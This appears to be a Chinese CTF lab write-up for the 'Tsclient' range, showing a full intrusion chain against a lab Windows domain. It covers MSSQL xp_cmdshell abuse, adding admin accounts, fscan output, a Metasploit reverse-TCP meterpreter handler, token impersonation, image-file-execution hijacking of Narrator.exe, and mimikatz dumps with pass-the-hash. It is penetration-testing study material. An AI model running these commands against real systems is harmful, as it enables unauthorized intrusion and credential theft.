一、概述
二、入口机 39.101.184.221
2.1 信息收集
2.2 mssql 利用
用 mdut 直接连接成功
尝试执行命令,但发现 xp_cmdshell 没开,所以在 mdut 中激活了 xp_cmdshell 组件
C:/Users/Public/Downloads/NET4.exe -cmd "net user weakpass 1qaz@WSX /add"
C:/Users/Public/Downloads/NET4.exe -cmd "net localgroup administrators weakpass /add"
2.3 远程登录
2.4 获得第一个 flag
三、横向移动
3.1 信息收集
C:UsersweakpassDownloads>fscan.exe -h 172.22.8.0/24 -o result.txt
___ _
/ _ ___ ___ _ __ __ _ ___| | __
/ /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______ (__| | | (_| | (__| <
____/ |___/___|_| __,_|___|_|_
fscan version: 1.7.1
start infoscan
已完成 0/0 listen ip4:icmp 0.0.0.0: socket: An attempt was made to access a socket in a way forbidden by its access permissions.
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.46 is alive
[*] Icmp alive hosts len is: 4
172.22.8.15:88 open
172.22.8.18:1433 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.31:139 open
172.22.8.31:135 open
172.22.8.46:135 open
172.22.8.18:139 open
172.22.8.15:135 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:139 open
[*] alive ports len is: 16
start vulscan
[+] NetInfo:
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:1828:aa0:d89d:8acb
[+] NetInfo:
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[+] NetInfo:
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] 172.22.8.15 [+]DC XIAORANGDC01
[+] NetInfo:
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] 172.22.8.31 XIAORANGWIN19-CLIENT
[*] 172.22.8.46 XIAORANGWIN2016 Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle:http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ
已完成 15/15
[*] 扫描结束,耗时: 21.3458678s
172.22.8.18 入口机的内网地址
172.22.8.46 跑着服务的域内机子
172.22.8.31 域内另一台机子
172.22.8.15 域控
3.2 窃取 access token
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost xx.xx.xx.xx
msf6 exploit(multi/handler) > set lport xxxx
msf6 exploit(multi/handler) > exploit
meterpreter > impersonate_token 'WIN-WEBJohn' #窃取 John 的 access token
meterpreter > net use #查看网络连接使用情况
meterpreter > dir \TSCLIENTC #读取目录
meterpreter > type \TSCLIENTCcredential.txt
xiaorang.labAldrich:Ald@rLMWuy7Z!#
Do you know how to hijack Image?
3.3 修改密码
python smbpasswd.py xiaorang.lab/Aldrich:"Ald@rLMWuy7Z!#"@172.22.8.15 -newpass "1qaz@WSX"
四、域内机 172.22.8.46
4.1 映像劫持
get-acl -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options" | fl
C:WINDOWSSystem32Utilman.exe 打开设置中心
C:WINDOWSSystem32sethc.exe 打开粘滞键
C:WINDOWSSyetem32osk.exe 打开屏幕键盘
C:WINDOWSSystem32Magnify.exe 打开放大镜
C:WINDOWSSystem32Narrator.exe 打开旁白
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsNarrator.exe" /v Debugger /t REG_SZ /d "C:WINDOWSsystem32cmd.exe"
rundll32.exe user32.dll,LockWorkStation
4.2 获得第二个 flag
再手动加一个 46 的本地管理员账号
4.3 哈希传递
privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 18674015 (00000000:011cf15f)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/10/24 17:39:53
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 9523b892b5f53722a320aafc88ade9fd
* SHA1 : 83dbdae92f8018e0ea881f7370d7d996fb78a221
tspkg :
wdigest :
* Username : WIN2016$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN2016$
* Domain : xiaorang.lab
* Password : 71 f5 12 6b 9b 3d 5b c2 62 35 40 7e 6a ba b3 c7 cd a2 e2 51 a5 41 52 04 59 49 45 07 8b 35 32 0f 11 a6 cc 8b b6 03 42 d9 a7 75 46 96 ac a3 7c 66 72 fa 9b 38 30 64 cd 78 5a 10 8b d0 16 bc 6f 45 e3 99 a3 61 b5 5d 56 af 32 91 3f 56 ce a1 b2 87 3e 62 9a c0 2c 63 f6 2d e6 9a 03 3d 3d c4 54 7f 53 0c 3f e2 95 b1 c0 67 52 4f 0d aa cb 03 72 65 da f8 28 16 d6 98 a3 5b f0 0a bd fa 63 b3 24 b6 d2 d9 43 d8 22 a1 d0 88 08 60 b8 d2 92 d8 14 27 95 bc 9a 84 ff 77 b1 ea df 6f d7 7e 8d 13 78 dd 9b 7c ee b4 f7 1e 25 ba 77 1f 95 47 6a 25 f4 e8 36 65 df 27 3a 76 33 cd 5a 5d 34 f6 18 6d b7 37 30 00 db e0 e5 2f 4e 69 d3 c8 a3 0a 17 34 8f bf 57 f0 02 6d 34 42 04 ce e0 86 ef 15 af 9e a9 13 a8 3c d4 96 7b 25 51 8d b4 15 b6 bd fc e2 d3 56
ssp :
credman :
sekurlsa::pth /user:win2016$ /domain:xiaorang.lab /ntlm 9523b892b5f53722a320aafc88ade9fd
4.4 获得第三个 flag
传递完之后会打开一个新的 cmd 窗口,见下图的右半图
查一下域控的卷,发现可以看到 c 盘,继续查就能得到第三个 flag 了
原文始发于微信公众号(弱口令安全实验室):春秋云境-Tsclient打靶记录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论